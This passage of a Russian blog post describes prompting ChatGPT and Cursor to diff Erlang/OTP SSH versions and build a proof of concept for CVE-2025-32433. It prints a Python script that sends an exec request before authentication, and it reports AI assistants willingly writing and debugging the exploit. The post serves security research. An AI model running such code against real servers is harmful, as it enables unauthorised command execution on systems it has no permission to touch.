{"id":458126,"date":"2025-04-29T15:01:41","date_gmt":"2025-04-29T15:01:41","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=458126"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=458126","title":{"rendered":"<span>\u041a\u0430\u043a \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0418\u0418 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f CVE-2025-32433 \u0434\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 PoC<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h3>\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u0434\u043b\u044f CVE-2025-32433<\/h3>\n<p>\u041f\u044c\u044e \u043a\u043e\u0444\u0435, \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e Twitter, \u0438 \u0432\u043e\u0442 \u043e\u043d \u2014 \u0442\u0432\u0438\u0442 \u043e\u0442 Horizon3:<\/p>\n<p>\ud83d\udc49\u00a0<a href=\"https:\/\/x.com\/Horizon3Attack\/status\/1912945580902334793\" rel=\"noopener noreferrer nofollow\">https:\/\/x.com\/Horizon3Attack\/status\/1912945580902334793<\/a><\/p>\n<p>\u0423 \u043d\u0438\u0445 \u0435\u0441\u0442\u044c \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u0434\u043b\u044f CVE-2025-32433. \u041e\u043d\u0438 \u0433\u043e\u0432\u043e\u0440\u044f\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u00ab\u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u00bb. \u041d\u043e \u043e\u043d\u0438 \u043d\u0435 \u0441\u0431\u0440\u043e\u0441\u0438\u043b\u0438 \u043a\u043e\u0434. \u0425\u043c.<\/p>\n<p>\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u044f \u043f\u043e\u0434\u0443\u043c\u0430\u043b: \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0442\u0430\u043a \u043f\u0440\u043e\u0441\u0442\u043e&#8230; \u043c\u043e\u0436\u0435\u0442 \u043b\u0438 \u0418\u0418 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u0442\u043e \u0437\u0430 \u043c\u0435\u043d\u044f?<\/p>\n<h3>\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u0418\u0418?<\/h3>\n<p>\u041e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0434\u0430, \u044d\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e.<\/p>\n<p><strong>GPT \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043d\u044f\u043b \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 CVE, \u043d\u043e \u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b, \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432\u0432\u0435\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u0441\u0440\u0430\u0432\u043d\u0438\u043b \u0435\u0433\u043e \u0441\u043e \u0441\u0442\u0430\u0440\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043d\u0430\u0448\u0435\u043b \u0440\u0430\u0437\u043d\u0438\u0446\u0443, \u043d\u0430\u0448\u0435\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0434\u0430\u0436\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438. \u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0430 \u043a\u043e\u0434 \u043d\u0435 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0438 \u0442\u043e\u0433\u0434\u0430 \u0418\u0418 \u0441\u0430\u043c \u0435\u0433\u043e \u043e\u0442\u043b\u0430\u0434\u0438\u043b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b.<\/strong><\/p>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u044f \u043a \u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u0448\u0435\u043b.<\/p>\n<h3>\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430<\/h3>\n<p>\u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u044f \u0441\u0434\u0435\u043b\u0430\u043b, \u044d\u0442\u043e \u0432\u0437\u044f\u043b \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u0434 python \u0432 \u0430\u043d\u0438\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c GIF-\u0444\u0430\u0439\u043b\u0435 Horizon. \u041e\u043d \u0431\u044b\u043b \u043d\u0435 \u0442\u0430\u043a\u0438\u043c \u0443\u0436 \u0431\u043e\u043b\u044c\u0448\u0438\u043c, \u043d\u043e \u0435\u0433\u043e \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c GPT.  <\/p>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5f0\/9e4\/0e7\/5f09e40e7ceda4ab809a695e0b22ee9f.jpg\" width=\"588\" height=\"601\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/5f0\/9e4\/0e7\/5f09e40e7ceda4ab809a695e0b22ee9f.jpg 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5f0\/9e4\/0e7\/5f09e40e7ceda4ab809a695e0b22ee9f.jpg 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u041d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0442\u043e\u043b\u0447\u043e\u043a \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442.  <\/p>\n<h3>\u041f\u043e\u0438\u0441\u043a \u0432\u0435\u0440\u0441\u0438\u0439<\/h3>\n<p>\u0414\u0430\u043b\u0435\u0435: \u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u00a0<a href=\"https:\/\/github.com\/erlang\/otp\/security\/advisories\/GHSA-37cp-fgq5-7wc2\" rel=\"noopener noreferrer nofollow\">\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 Erlang \u043d\u0430 GitHub<\/a>,\u00a0\u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e, \u0442\u0430\u043a \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e.<\/p>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2c3\/9f1\/281\/2c39f1281c4547eeff4f441a2e858f28.jpg\" width=\"828\" height=\"198\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/2c3\/9f1\/281\/2c39f1281c4547eeff4f441a2e858f28.jpg 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2c3\/9f1\/281\/2c39f1281c4547eeff4f441a2e858f28.jpg 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u042f \u0437\u043d\u0430\u043b, \u0447\u0442\u043e \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u044c \u044d\u0442\u0438 \u0432\u0435\u0440\u0441\u0438\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0434\u0430\u043b GPT \u044d\u0442\u043e\u0442 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441, \u0438 \u0432\u043e\u0442 \u0447\u0442\u043e \u043e\u043d \u0432\u044b\u0434\u0430\u043b:  <\/p>\n<pre><code>\u276f git checkout OTP-27.3.1 mkdir -p ..\/ssh_5_2_9 cp -a lib\/ssh\/\\* ..\/ssh_5_2_9\/  # Checkout the commit that introduces ssh-5.2.10 git checkout 71219a5123309c8cf66f929a19a100a242e15681 mkdir -p ..\/ssh_5_2_10 cp -a lib\/ssh\/\\* ..\/ssh_5_2_10\/<\/code><\/pre>\n<p>\u041e\u043d \u0434\u0430\u0436\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435. \u041f\u043e\u043b\u0435\u0437\u043d\u043e! \u041d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u0443 \u043c\u0435\u043d\u044f \u0431\u044b\u043b\u043e \u0434\u0432\u0430 \u0441\u043d\u0438\u043c\u043a\u0430: ssh_5_2_9 (\u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439) \u0438 ssh_5_2_10 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439). \u0412\u0440\u0435\u043c\u044f \u0434\u043b\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f.<\/p>\n<h3>diff.py \u2014 \u041d\u0430\u0448 \u0430\u0440\u0445\u0435\u043e\u043b\u043e\u0433 \u043a\u043e\u0434\u0430<\/h3>\n<p>GPT \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043c\u043d\u0435 \u044d\u0442\u043e\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u043d\u043e \u043c\u043e\u0449\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430 Python \u0434\u043b\u044f \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u043e\u0433\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u0432\u0435\u0440\u0441\u0438\u0439:<\/p>\n<pre><code>import os import difflib  def get_source_files(base_dir):     return {         os.path.relpath(os.path.join(root, f), base_dir): os.path.join(root, f)         for root, _, files in os.walk(base_dir)         for f in files if f.endswith((\".erl\", \".hrl\"))     }  def safe_readlines(path):     for enc in (\"utf-8\", \"latin-1\"):         try:             with open(path, \"r\", encoding=enc) as f:                 return f.readlines()         except UnicodeDecodeError:             continue     return None  def compare_versions(dir1, dir2):     files1, files2 = get_source_files(dir1), get_source_files(dir2)     common = sorted(set(files1) &amp; set(files2))     diffs = {         path: list(difflib.unified_diff(             safe_readlines(files1[path]), safe_readlines(files2[path]),             fromfile=f\"{os.path.basename(dir1)}\/{path}\",             tofile=f\"{os.path.basename(dir2)}\/{path}\"))         for path in common         if safe_readlines(files1[path]) and safe_readlines(files2[path])     }     return diffs  # Run diff and print results base1, base2 = \"..\/ssh_5_2_9\", \"..\/ssh_5_2_10\" diffs = compare_versions(base1, base2)  print(\"\\n\ud83d\udd0d Changed Files Between SSH 5.2.9 and 5.2.10 (Recursive):\") print(\"---------------------------------------------------------\") for f, lines in diffs.items():     print(f\"{f}: {len(lines)} changed lines\")  print(\"\\n\\n\ud83d\udcc4 Full Diffs for All Changed Files:\\n\") print(\"=====================================\") for f, lines in diffs.items():     print(f\"\\n--- {f} ---\\n{''.join(lines)}\")<\/code><\/pre>\n<p>\u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b .erl \u0438 .hrl, \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u0438\u0445 \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e \u0438 \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043a\u0430\u043a \u0441\u0432\u043e\u0434\u043a\u0443, \u0442\u0430\u043a \u0438 \u043f\u043e\u043b\u043d\u043e\u0435 \u0443\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435.<\/p>\n<p>\u0418\u0442\u0430\u043a, \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043b\u0438\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n<pre><code>....omitted for brevity... +early_rce(Config) -&gt; +    ... +    TypeReq = \"exec\", +    DataReq = &lt;&lt;?STRING(&lt;&lt;\"lists:seq(1,10).\"&gt;&gt;)&gt;&gt;, +    ... +    {send, SshMsgChannelRequest}, +    {match, disconnect(), receive_msg} ....omitted for brevity...<\/code><\/pre>\n<p>\u0414\u0430 \u2014 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0439 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e. \u042f \u043d\u0435 \u0431\u0443\u0434\u0443 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0441\u0435 \u0441\u044e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043b\u0438\u0441\u0442\u0430\u0442\u044c \u0432\u0435\u0447\u043d\u043e.<\/p>\n<p>\u0418\u0442\u0430\u043a (\u0438 \u0432\u044b, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u044d\u0442\u043e \u043f\u0440\u0435\u0434\u0432\u0438\u0434\u0435\u043b\u0438)&#8230; \u042f \u043f\u0435\u0440\u0435\u0434\u0430\u043b \u044d\u0442\u043e ChatGPT \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043a\u0430\u0437\u0430\u043b:<\/p>\n<p>\u00ab\u042d\u0439, \u043c\u043e\u0436\u0435\u0448\u044c \u043b\u0438 \u0442\u044b \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043c\u043d\u0435, \u0447\u0442\u043e \u0441\u0442\u0430\u043b\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438?\u00bb<\/p>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bd3\/3ec\/960\/bd33ec9602522c26782532ed7dece170.jpg\" width=\"683\" height=\"1289\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/bd3\/3ec\/960\/bd33ec9602522c26782532ed7dece170.jpg 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bd3\/3ec\/960\/bd33ec9602522c26782532ed7dece170.jpg 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<h3>\u041c\u043d\u0435\u043d\u0438\u0435 GPT: \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e<\/h3>\n<p>\u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0445\u043e\u0434 GPT \u2014 \u043e\u043d \u0441\u043f\u0440\u043e\u0441\u0438\u043b \u043c\u0435\u043d\u044f:<\/p>\n<p>\u00ab\u0425\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 PoC-\u043a\u043b\u0438\u0435\u043d\u0442? \u0414\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0432 \u0441\u0442\u0438\u043b\u0435 Metasploit? \u041f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0439 SSH-\u0441\u0435\u0440\u0432\u0435\u0440?\u00bb<\/p>\n<p>\u0414\u0430. \u0412\u0441\u0435 \u0445\u043e\u0442\u0438\u043c. \u041d\u0430\u0447\u043d\u0435\u043c \u0441 PoC.<\/p>\n<h3>\u041f\u0435\u0440\u0432\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 (PoC)<\/h3>\n<p>\u0412\u043e\u0442 \u0447\u0442\u043e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b GPT. \u041a\u043e\u0434 \u044f\u0432\u043d\u043e \u0441\u044b\u0440\u043e\u0439 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u043a\u0435\u0442\u0430 Python, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043a\u0430\u043d\u0430\u043b \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0434\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.  <\/p>\n<pre><code>import socket import struct  HOST = \"127.0.0.1\"  # Change to vulnerable SSH server IP PORT = 2222         # Change to correct SSH port  # Utilities def string_payload(s):     s_bytes = s.encode(\"utf-8\")     return struct.pack(\"&gt;I\", len(s_bytes)) + s_bytes  def build_channel_open(channel_id=0):     return (         b\"\\x5a\" +  # SSH_MSG_CHANNEL_OPEN         string_payload(\"session\") +         struct.pack(\"&gt;I\", channel_id) +  # sender channel         struct.pack(\"&gt;I\", 0x68000) +     # initial window size         struct.pack(\"&gt;I\", 0x10000) +     # max packet size         b\"\"     )  def build_channel_request(channel_id=0, command=\"file:write_file(\\\"\/lab.txt\\\", &lt;&lt;\\\"pwned\\\"&gt;&gt;).\"):     payload = (         b\"\\x62\" +         struct.pack(\"&gt;I\", channel_id) +         string_payload(\"exec\") +         b\"\\x01\" +         string_payload(command)     )     return payload  def build_kexinit():     cookie = b\"\\x00\" * 16     def name_list(l): return string_payload(\",\".join(l))     return (         b\"\\x14\" + cookie +         name_list([\"diffie-hellman-group14-sha1\"]) +         name_list([\"ssh-rsa\"]) +         name_list([\"aes128-ctr\"]) * 2 +         name_list([\"hmac-sha1\"]) * 2 +         name_list([\"none\"]) * 2 +         name_list([]) * 2 +         b\"\\x00\" + struct.pack(\"&gt;I\", 0)     )  # Step-by-step protocol with socket.create_connection((HOST, PORT)) as s:     print(\"[*] Connecting to SSH server...\")      s.sendall(b\"SSH-2.0-OpenSSH_8.9\\r\\n\")     banner = s.recv(1024)     print(f\"[+] Received banner: {banner.strip().decode(errors='ignore')}\")      print(\"[*] Sending KEXINIT...\")     kex_packet = build_kexinit()     kex_len = struct.pack(\"&gt;I\", len(kex_packet) + 1)     kex = kex_len + b\"\\x0a\" + kex_packet + b\"\\x00\" * 6     s.sendall(kex)      print(\"[*] Sending channel_open...\")     chan_open = build_channel_open()     chan_len = struct.pack(\"&gt;I\", len(chan_open) + 1)     s.sendall(chan_len + b\"\\x0a\" + chan_open + b\"\\x00\" * 6)      print(\"[*] Sending channel_request with exec payload...\")     chan_req = build_channel_request(command='file:write_file(\"\/lab.txt\", &lt;&lt;\"pwned\"&gt;&gt;).')     req_len = struct.pack(\"&gt;I\", len(chan_req) + 1)     s.sendall(req_len + b\"\\x0a\" + chan_req + b\"\\x00\" * 6)      print(\"[\u2713] Exploit sent. If target was vulnerable, it attempted to write \/lab.txt.\")<\/code><\/pre>\n<h3>\u041e\u0442\u043b\u0430\u0434\u043a\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Cursor<\/h3>\n<p>\u041d\u0438\u0447\u0435\u0433\u043e \u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e: \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u043b.<\/p>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0441\u043c\u0435\u043d\u0438\u043b \u0442\u0430\u043a\u0442\u0438\u043a\u0443. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u043e\u0434 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u0441\u0435 \u0431\u043e\u043b\u0435\u0435 \u0442\u044f\u0436\u0435\u043b\u044b\u043c, \u044f \u043e\u0442\u043a\u0440\u044b\u043b Cursor, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b \u043a\u043e\u0434, \u043e\u0442\u043a\u0440\u044b\u043b \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043f\u0440\u043e\u0441\u0438\u043b:<\/p>\n<p>\u00ab\u0418\u0441\u043f\u0440\u0430\u0432\u044c \u043a\u043e\u0434 PoC?\u00bb<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a03\/4b5\/dd3\/a034b5dd39cdaf4606f18278d5b5df60.jpg\" width=\"512\" height=\"1027\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/a03\/4b5\/dd3\/a034b5dd39cdaf4606f18278d5b5df60.jpg 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a03\/4b5\/dd3\/a034b5dd39cdaf4606f18278d5b5df60.jpg 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439. \u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439. \u041f\u0440\u043e\u0441\u0442\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430, \u0441\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u043e\u0431\u043d\u0430\u0434\u0435\u0436\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430.<\/p>\n<p>\u041a \u043c\u043e\u0435\u043c\u0443 \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u044e, \u044d\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e!<\/p>\n<p>GPT (\u0447\u0435\u0440\u0435\u0437 Cursor \u0438 Sonnet 3.7) \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0438\u0437\u043c\u0435\u043d\u0438\u043b \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u0432\u0441\u0435 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e.<\/p>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/813\/96f\/94e\/81396f94e6c7a3b230fa034138a86545.jpg\" width=\"605\" height=\"340\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/813\/96f\/94e\/81396f94e6c7a3b230fa034138a86545.jpg 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/813\/96f\/94e\/81396f94e6c7a3b230fa034138a86545.jpg 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u042f \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e, \u0438 \u043e\u043d\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0430 \/lab.txt \u043d\u0430 \u043c\u043e\u0435\u0439 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0427\u0438\u0441\u0442\u044b\u0439, \u0440\u0430\u0431\u043e\u0447\u0438\u0439, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0418\u0418 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e PoC.<\/p>\n<h3>\u0417\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u044b\u0441\u043b\u0438<\/h3>\n<p>\u0412\u043e\u0442 \u0438 \u0432\u0441\u0451. \u041e\u0442 \u0442\u0432\u0438\u0442\u0430 \u2192 \u0434\u043e \u043a\u043e\u043f\u0430\u043d\u0438\u044f \u0432 diffs \u2192 \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0433\u043e PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u2014 \u0432\u0441\u0435 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e 